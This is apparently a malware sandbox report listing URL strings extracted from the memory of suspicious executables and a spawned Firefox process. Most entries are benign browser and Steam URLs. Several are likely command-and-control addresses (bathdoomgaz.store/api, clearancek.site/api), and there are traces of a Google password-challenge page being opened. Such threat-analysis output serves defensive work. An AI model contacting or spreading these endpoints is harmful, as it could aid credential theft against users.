Source: firefox.exe, 0000001A.00000003.3060200442.000001EE368DC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3065117194.000001EE368DC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3147333105.000001EE2ABE2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3292321816.000001EE368DC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/2006/browser/search/
Source: firefox.exe, 0000001A.00000002.3262576648.000001EE311A7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3063536981.000001EE2F9DE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3164928829.000001EE2E6F9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3240693610.000001EE30F79000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3238122305.000001EE30EA3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3147333105.000001EE2ABB0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3063536981.000001EE2F991000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3269826039.000001EE313E3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3187754650.000001EE2F933000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3174360577.000001EE2EB03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3262576648.000001EE3118A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3262576648.000001EE3116B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3178571583.000001EE2F1A9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3147333105.000001EE2AB25000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3187754650.000001EE2F9DE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3178571583.000001EE2F103000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3200993052.000001EE301D0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3150497786.000001EE2BBB5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3147333105.000001EE2AB73000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3161984766.000001EE2E392000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3147333105.000001EE2ABE2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul
Source: firefox.exe, 0000001A.00000002.3262576648.000001EE311A7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul8
Source: firefox.exe, 0000001A.00000002.3147333105.000001EE2ABB0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulchrome://browser/content/browser-sitePe
Source: firefox.exe, 0000001A.00000002.3147333105.000001EE2ABB0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulchrome://browser/content/syncedtabs/sid
Source: firefox.exe, 0000001A.00000002.3147333105.000001EE2ABB0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulresource:///modules/BrowserSearchTeleme
Source: firefox.exe, 0000001A.00000002.3147333105.000001EE2ABB0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulresource:///modules/UrlbarProviderSearc
Source: 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe, 00000004.00000002.2498743096.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp, 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe, 00000004.00000002.2486185915.000000001D62E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: file.exe, 00000000.00000003.2049650600.000000000119C000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000B.00000003.2841091310.00000000016A3000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.2984866268.0000000000D07000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.valvesoftware.com/legal.htm
Source: file.exe, 00000000.00000003.2092575552.0000000005AD1000.00000004.00000800.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.3053258426.00000000052A8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3158695006.000001EE2DD86000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3179136668.000001EE2F2E2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3288872033.000001EE3667B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: file.exe, 00000000.00000003.2092575552.0000000005AD1000.00000004.00000800.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.3053258426.00000000052A8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3158695006.000001EE2DD86000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3179136668.000001EE2F2E2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3288872033.000001EE3667B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: firefox.exe, 0000001A.00000002.3148650150.000001EE2B920000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://%LOCALE%.malware-error.mozilla.com/?url=
Source: firefox.exe, 0000001A.00000002.3148650150.000001EE2B920000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://%LOCALE%.phish-error.mozilla.com/?url=
Source: firefox.exe, 0000001A.00000002.3148650150.000001EE2B920000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://%LOCALE%.phish-report.mozilla.com/?url=
Source: firefox.exe, 0000001A.00000002.3292321816.000001EE368B5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3003350184.000001EE2E43E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3176516013.000001EE2ED00000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000003.3004085637.000001EE2E481000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3147333105.000001EE2AB73000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3003678460.000001EE2E460000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.duckduckgo.com/ac/
Source: file.exe, 00000000.00000003.2066723492.0000000005AD6000.00000004.00000800.00020000.00000000.sdmp, 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe, 00000004.00000003.2333356188.000000000136F000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.3003136652.00000000052BB000.00000004.00000800.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.3002015422.00000000052BE000.00000004.00000800.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.3002235751.00000000052BB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: firefox.exe, 0000001A.00000002.3148650150.000001EE2B920000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3164928829.000001EE2E64C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3161984766.000001EE2E337000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3190784992.000001EE2FE17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.firefox.com/
Source: firefox.exe, 0000001A.00000002.3148650150.000001EE2B920000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://accounts.firefox.com/settings/clients
Source: firefox.exe, 0000001A.00000003.3059568693.000001EE3691E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3294847204.000001EE36903000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.firefox.comK
Source: 3cfbb3a6fb.exe, 0000000D.00000002.3026018954.0000000001050000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3157950068.000001EE2DB32000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3157950068.000001EE2DB6E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3211314720.000001EE30668000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/v3/signin/challenge/pwd
Source: firefox.exe, 0000001A.00000002.3136257996.000001EE202A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/v3/signin/challenge/pwd--no-default-browser-check--disable-popup-blockin
Source: firefox.exe, 0000001A.00000002.3135741496.000001EE1EA03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3147333105.000001EE2AB03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3164928829.000001EE2E6AE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3164928829.000001EE2E6D7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org
Source: firefox.exe, 0000001A.00000002.3148650150.000001EE2B920000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/%APP%/blocked-addon/%addonID%/%addonVersion%/
Source: firefox.exe, 0000001A.00000002.3148650150.000001EE2B920000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/
Source: firefox.exe, 0000001A.00000002.3148650150.000001EE2B920000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/language-tools/
Source: firefox.exe, 0000001A.00000002.3148650150.000001EE2B920000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/search-engines/
Source: firefox.exe, 0000001A.00000002.3148650150.000001EE2B920000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/search?q=%TERMS%&platform=%OS%&appver=%VERSION%
Source: firefox.exe, 0000001A.00000002.3148650150.000001EE2B920000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/themes
Source: firefox.exe, 0000001A.00000002.3190784992.000001EE2FE06000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3191656453.000001EE2FF1A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.3062818743.000001EE30617000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3147333105.000001EE2AB03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3190784992.000001EE2FE61000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3190784992.000001EE2FE03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3191656453.000001EE2FFBA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3190784992.000001EE2FE0B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3191656453.000001EE2FF47000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3211314720.000001EE306C6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ads.stickyadstv.com/firefox-etp
Source: firefox.exe, 0000001A.00000003.3059568693.000001EE3691E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3304329963.00002B4E0B404000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3294847204.000001EE36903000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://allegro.pl/
Source: firefox.exe, 0000001A.00000002.3164928829.000001EE2E64C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3161984766.000001EE2E337000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3302819914.0000057821204000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3303799026.000022F09F800000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://amazon.com
Source: firefox.exe, 0000001A.00000002.3148650150.000001EE2B920000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://api.accounts.firefox.com/v1
Source: 2ffb915ad7.exe, 0000000B.00000002.2843448206.0000000001664000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.steampowered.com/
Source: firefox.exe, 0000001A.00000002.3148650150.000001EE2B920000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://apps.apple.com/app/firefox-private-safe-browser/id989804926
Source: firefox.exe, 0000001A.00000002.3148650150.000001EE2B920000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://apps.apple.com/us/app/firefox-private-network-vpn/id1489407738
Source: firefox.exe, 0000001A.00000002.3148650150.000001EE2B920000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/update/3/GMP/%VERSION%/%BUILD_ID%/%BUILD_TARGET%/%LOCALE%/%CHANNEL%/%OS_VER
Source: firefox.exe, 0000001A.00000002.3148650150.000001EE2B920000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/update/3/SystemAddons/%VERSION%/%BUILD_ID%/%BUILD_TARGET%/%LOCALE%/%CHANNEL
Source: firefox.exe, 0000001A.00000002.3135741496.000001EE1EA11000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3147333105.000001EE2AB73000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/update/6/%PRODUCT%/%VERSION%/%BUILD_ID%/%BUILD_TARGET%/%LOCALE%/%CHANNEL%/%
Source: firefox.exe, 0000001A.00000002.3182930609.000001EE2F635000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3147333105.000001EE2AB03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3200993052.000001EE30134000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/update/6/Firefox/118.0.1/20230927232528/WINNT_x86_64-msvc-x64/en-US/release
Source: 2ffb915ad7.exe, 0000000C.00000003.2984969924.0000000000C7F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://avatars.cloudflare.s
Source: 2ffb915ad7.exe, 0000000C.00000003.2984866268.0000000000D07000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://avatars.cloudflare.steamstatic.com/fef49e7fa7e1997310d705b2a6158ff8dc1cdfeb_full.jpg
Source: 2ffb915ad7.exe, 0000000B.00000002.2843316263.000000000162E000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000B.00000003.2841267839.000000000162E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bathdoomgaz.store/
Source: file.exe, 00000000.00000003.2049716081.0000000001140000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bathdoomgaz.store/api
Source: 2ffb915ad7.exe, 0000000C.00000003.2984969924.0000000000C85000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bathdoomgaz.store:443/api/a
Source: firefox.exe, 0000001A.00000002.3148650150.000001EE2B920000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://blocked.cdn.mozilla.net/
Source: firefox.exe, 0000001A.00000002.3148650150.000001EE2B920000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://blocked.cdn.mozilla.net/%blockID%.html
Source: file.exe, 00000000.00000003.2106047538.0000000005B3B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0
Source: 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe, 00000004.00000002.2469625027.0000000001340000.00000004.00000020.00020000.00000000.sdmp, 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe, 00000004.00000002.2492324238.00000000296C3000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.3072995899.0000000005285000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3164928829.000001EE2E64C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3161984766.000001EE2E337000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3137476533.000001EE2A1AD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.
Source: file.exe, 00000000.00000003.2106047538.0000000005B3B000.00000004.00000800.00020000.00000000.sdmp, 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe, 00000004.00000002.2469625027.0000000001340000.00000004.00000020.00020000.00000000.sdmp, 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe, 00000004.00000002.2492324238.00000000296C3000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.3072995899.0000000005285000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3164928829.000001EE2E64C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3161984766.000001EE2E337000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3137476533.000001EE2A1AD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696425136400800000.1&ci=1696425136743.12791&cta
Source: 2ffb915ad7.exe, 0000000B.00000002.2843448206.0000000001664000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000B.00000003.2841091310.00000000016A3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://broadcast.st.dl.eccdnx.com
Source: firefox.exe, 0000001A.00000002.3147333105.000001EE2ABB0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1238180
Source: firefox.exe, 0000001A.00000002.3147333105.000001EE2ABB0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1238180unified-nav-back
Source: firefox.exe, 0000001A.00000003.3043466940.000001EE2FE67000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3278899876.000001EE31709000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3190784992.000001EE2FE61000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1539075
Source: firefox.exe, 0000001A.00000003.3043466940.000001EE2FE67000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3278899876.000001EE31709000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3190784992.000001EE2FE61000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1584464
Source: firefox.exe, 0000001A.00000003.3043466940.000001EE2FE67000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3278899876.000001EE31709000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3190784992.000001EE2FE61000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1607439
Source: firefox.exe, 0000001A.00000003.3043466940.000001EE2FE67000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3278899876.000001EE31709000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3190784992.000001EE2FE61000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1616739
Source: firefox.exe, 0000001A.00000003.3043466940.000001EE2FE67000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3190784992.000001EE2FE61000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1616739Value
Source: firefox.exe, 0000001A.00000002.3214859030.000001EE30903000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1694699#c21
Source: 2ffb915ad7.exe, 0000000B.00000002.2843448206.0000000001664000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.cloudflare.steamstatic.com/steamcommunity/public/assets/
Source: file.exe, 00000000.00000003.2066723492.0000000005AD6000.00000004.00000800.00020000.00000000.sdmp, 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe, 00000004.00000003.2333356188.000000000136F000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.3003136652.00000000052BB000.00000004.00000800.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.3002015422.00000000052BE000.00000004.00000800.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.3002235751.00000000052BB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000000.00000003.2066723492.0000000005AD6000.00000004.00000800.00020000.00000000.sdmp, 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe, 00000004.00000003.2333356188.000000000136F000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.3003136652.00000000052BB000.00000004.00000800.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.3002015422.00000000052BE000.00000004.00000800.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.3002235751.00000000052BB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000000.00000003.2066723492.0000000005AD6000.00000004.00000800.00020000.00000000.sdmp, 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe, 00000004.00000003.2333356188.000000000136F000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.3003136652.00000000052BB000.00000004.00000800.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.3002015422.00000000052BE000.00000004.00000800.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.3002235751.00000000052BB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: 2ffb915ad7.exe, 0000000B.00000002.2843448206.0000000001664000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000B.00000003.2841091310.00000000016A3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://checkout.steampowered.com/
Source: file.exe, 00000000.00000003.2049841334.000000000110E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://clearancek.site/
Source: file.exe, 00000000.00000003.2049716081.0000000001140000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://clearancek.site/api7
Source: 2ffb915ad7.exe, 0000000C.00000003.2984969924.0000000000C85000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://clearancek.site:443/api
Source: firefox.exe, 0000001A.00000002.3148650150.000001EE2B920000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://color.firefox.com/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_content=theme-f
Source: 2ffb915ad7.exe, 0000000C.00000003.3084864515.0000000000D14000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.3072586659.0000000000D13000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.3003093031.0000000000D14000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.3073546005.0000000000D13000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.3024816414.0000000000D0F000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.2999075528.0000000000D0F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloL_
Source: 2ffb915ad7.exe, 0000000C.00000003.3072586659.0000000000D13000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.3003093031.0000000000D14000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.3073546005.0000000000D13000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.3084450142.0000000000D16000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.3024816414.0000000000D0F000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.2999075528.0000000000D0F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflar
Source: 2ffb915ad7.exe, 0000000C.00000003.3084864515.0000000000D14000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.3072586659.0000000000D13000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.3003093031.0000000000D14000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.3073546005.0000000000D13000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.3024816414.0000000000D0F000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.2999075528.0000000000D0F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamst
Source: 2ffb915ad7.exe, 0000000B.00000002.2843448206.0000000001664000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/
Source: 2ffb915ad7.exe, 0000000B.00000003.2841091310.00000000016A3000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000B.00000003.2841267839.0000000001627000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.2984866268.0000000000D07000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/css/applications/community/main.css?v=ljhW-PbGuX
Source: file.exe, 00000000.00000003.2049650600.000000000119C000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000B.00000003.2841091310.00000000016A3000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.2984866268.0000000000D07000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.2999075528.0000000000D0F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/css/globalv2.css?v=pwVcIAtHNXwg&l=english&am
Source: file.exe, 00000000.00000003.2049650600.000000000119C000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.2984935243.0000000000D00000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.2984866268.0000000000D07000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.2999075528.0000000000D0F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/css/promo/summer2017/stickers.css?v=bZKSp7oNwVPK
Source: 2ffb915ad7.exe, 0000000C.00000003.2984935243.0000000000D00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/css/skin_1/
Source: 2ffb915ad7.exe, 0000000B.00000003.2841091310.00000000016A3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/css/skin_1/fatalerror.css?v=wctRWaBvNt2z&l=e
Source: 2ffb915ad7.exe, 0000000C.00000003.2984935243.0000000000D00000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.2984866268.0000000000D07000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.2999075528.0000000000D0F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/css/skin_1/header.css?v=vh4BMeDcNiCU&l=engli
Source: file.exe, 00000000.00000003.2049650600.000000000119C000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.2984866268.0000000000D07000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.2999075528.0000000000D0F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.cloudflare.steamstatic.com/public/css/skin_1/modalContent.css?v=.VpiwkLAYt9r1&
